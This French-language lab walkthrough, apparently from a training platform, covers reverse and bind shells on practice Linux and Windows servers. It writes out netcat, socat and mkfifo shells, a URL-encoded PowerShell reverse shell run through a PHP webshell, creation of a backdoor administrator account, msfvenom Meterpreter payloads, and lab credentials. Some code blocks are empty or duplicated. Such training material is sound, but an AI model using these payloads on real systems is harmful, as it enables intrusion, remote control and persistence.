Ce guide pratique explore l'utilisation des shells inversés et liés, en s'appuyant sur des environnements d'apprentissage interactifs. Nous allons déployer et activer des shells sur des systèmes Linux et Windows.
Environnements de Pratique
Deux machines virtuelles sont mises à disposition : un serveur Ubuntu 18.04 et un serveur Windows 2019, chacun hébergeant un serveur web simple pour faciliter l'upload et l'activation de shells.
Machine d'Entraînement Linux
- Système : Ubuntu Server
- Serveur Web : Présent pour le téléversement de fichiers.
- Outils Disponibles :
socatetnetcatsont préinstallés. - Accès : Connexion SSH disponible sur le port 22.
- Identifiants SSH :
- Nom d'utilisateur :
shell - Mot de passe :
TryH4ckM3!
- Nom d'utilisateur :
Machine d'Entraînement Windows
- Système : Windows Server 2019
- Serveur Web : XAMPP est utilisé comme serveur web.
- Outils Disponibles :
socatetnetcatsont préinstallés. - Accès : Connexion via RDP ou WinRM.
- Identifiants :
- Nom d'utilisateur :
Administrator - Mot de passe :
TryH4ckM3!
- Nom d'utilisateur :
- Commande RDP :
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'
Scénarios Pratiques
Scénario 1 : Shell Web PHP sur Linux
Objectif : Téléverser un webshell PHP sur la machine Linux et l'utiliser pour établir un shell inversé via netcat.
- Créez un fichier
webshell.phpbasique sur votre machine d'attaque, par exemple : ``` - Sur votre machine d'attaque, lancez un listener
netcat: ``` nc -lvnp 1234 - Téléversez
webshell.phpvers le répertoire accessible par le serveur web de la machine Linux (par exemple,/var/www/html/uploads/). - Dans votre navigateur, accédez à l'URL du webshell et exécutez la commande pour établir la connexion : ```
http://<ip_machine_linux>/uploads/webshell.php?cmd=nc <ip_attaquant> 1234 -e /bin/bash</ip_attaquant></ip_machine_linux>
Une connexion shell inversée devrait être établie sur votre listener netcat.
Scénario 2 : Utilisation d'un Webshell PHP Préexistant
Objectif : Utiliser un webshell PHP fourni, modifier l'IP et le port, puis établir un shell inversé.
- Localisez le fichier
php-verse-shell.phpdans/usr/share/webshell/php/sur Kali Linux. - Modifiez le fichier pour qu'il corresponde à votre adresse IP d'attaquant et au port d'écoute désiré.
- Lancez un listener
netcatsur votre machine d'attaque : ``` nc -lvnp 4444 - Téléversez le webshell modifié sur la machine Linux cible.
- Accédez à l'URL du webshell pour activer le shell inversé.
Scénario 3 : Shells Netcat via SSH (Linux)
Objectif : Utiliser SSH pour se connecter à la machine Linux et expérimenter avec les shells liés et inversés en utilisant netcat.
- Connectez-vous à la machine Linux via SSH avec les identifiants fournis.
- Shell Lié :
- Dans votre session SSH (sur la machine cible), configurez un listener : ```
mkfifo /tmp/f; nc -lvnp 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- Sur votre machine d'attaque, connectez-vous au listener : ```
nc <ip_machine_linux> 4444</ip_machine_linux>
- Dans votre session SSH (sur la machine cible), configurez un listener : ```
mkfifo /tmp/f; nc -lvnp 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- Shell Inversé :
- Sur votre machine d'attaque, lancez un listener : ```
nc -nlvp 4444
- Dans votre session SSH (sur la machine cible), lancez le shell inversé : ```
mkfifo /tmp/f; nc <ip_attaquant> 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f</ip_attaquant>
- Sur votre machine d'attaque, lancez un listener : ```
nc -nlvp 4444
Scénario 4 : Tentative de Shell PHP sur Windows
Objectif : Téléverser un webshell PHP sur la machine Windows et vérifier s'il fonctionne.
Résultat : L'exécution directe d'un webshell PHP standard via l'interface web peut échouer sur certaines configurations Windows en raison de restrictions ou de l'absence d'une interprétation PHP correcte côté serveur.
Scénario 5 : Shell PowerShell via Webshell PHP (Windows)
Objectif : Utiliser un webshell PHP pour exécuter une commande PowerShell et établir un shell inversé.
- Préparez un webshell PHP comme dans le scénario 1.
- Sur votre machine d'attaque, lancez un listener
netcat: ``` nc -lvnp 1234 - Téléversez le webshell PHP sur le serveur web de la machine Windows.
- Accédez à l'URL du webshell en ajoutant le paramètre
cmdavec la commande PowerShell suivante (encodée pour l'URL) : ``` http://<ip_machine_windows>/uploads/webshell.php?cmd=powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP_ATTAQUANT>%27%2C1234%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22</ip_machine_windows>
Une connexion shell PowerShell inversée devrait être établie.
Scénario 6 : Création de Compte Administrateur (Windows)
Objectif : Utiliser le shell obtenu précédemment pour créer un nouvel utilisateur avec des privilèges d'administrateur et s'y connecter via RDP.
- Depuis le shell PowerShell obtenu, exécutez les commandes suivantes : ```
net user UtilisateurTest MotDePasseTest123 /add
net localgroup administrators UtilisateurTest /add
- Sur votre machine d'attaque, utilisez RDP pour vous connecter avec le nouveau compte : ```
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.98.5 /u:UtilisateurTest /p:'MotDePasseTest123'
Scénario 7 : Shells Netcat et Socat sur Windows
Objectif : Obtenir des shells inversés et liés sur la machine Windows en utilisant netcat et socat.
Netcat
- Shell Inversé :
- Sur l'attaquant : ```
nc -lvnp 12345
- Connectez-vous à la machine cible via RDP.
- Dans
cmdsur la cible : ``` nc 10.10.44.92 12345 -e "cmd.exe"
- Sur l'attaquant : ```
nc -lvnp 12345
- Shell Lié :
- Dans
cmdsur la cible : ``` nc -lvnp 12345 -e "cmd.exe" - Sur l'attaquant : ```
nc 10.10.98.5 12345
- Dans
Socat
- Shell Inversé :
- Sur l'attaquant : ```
socat TCP-L:12345 -
- Dans
cmdsur la cible : ``` socat TCP:10.10.44.92:12345 EXEC:powershell.exe,pipes
- Sur l'attaquant : ```
socat TCP-L:12345 -
- Shell Lié :
- Dans
cmdsur la cible : ``` socat TCP-L:12345 EXEC:powershell.exe,pipes - Sur l'attaquant : ```
socat TCP:10.10.98.5:12345 -
- Dans
Scénario 8 : Shell Meterpreter avec Msfvenom (Windows)
Objectif : Générer un exécutable Meterpreter 64 bits pour Windows, le téléverser, l'exécuter, et le capturer avec Metasploit.
- Générez l'exécutable sur votre machine d'attaque : ```
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=10.10.44.92 LPORT=12345
- Configurez le module
multi/handlerdansmsfconsole:use multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 10.10.44.92set LPORT 12345exploitourun
- Téléversez
shell.exesur la machine cible (via RDP avec le presse-papiers activé). - Exécutez
shell.exesur la machine cible.
Une session Meterpreter devrait s'ouvrir sur votre machine d'attaque.
Scénario 9 : Shells Meterpreter Staged/Non-Staged avec Netcat
Objectif : Créer des shells Meterpreter staged et non-staged, les téléverser et tenter de les capturer avec netcat.
Résultat : Les shells Meterpreter générés avec msfvenom nécessitent le module multi/handler de Metasploit pour être correctement capturés. Netcat seul ne suffit pas pour établir la communication avec ces payloads avancés.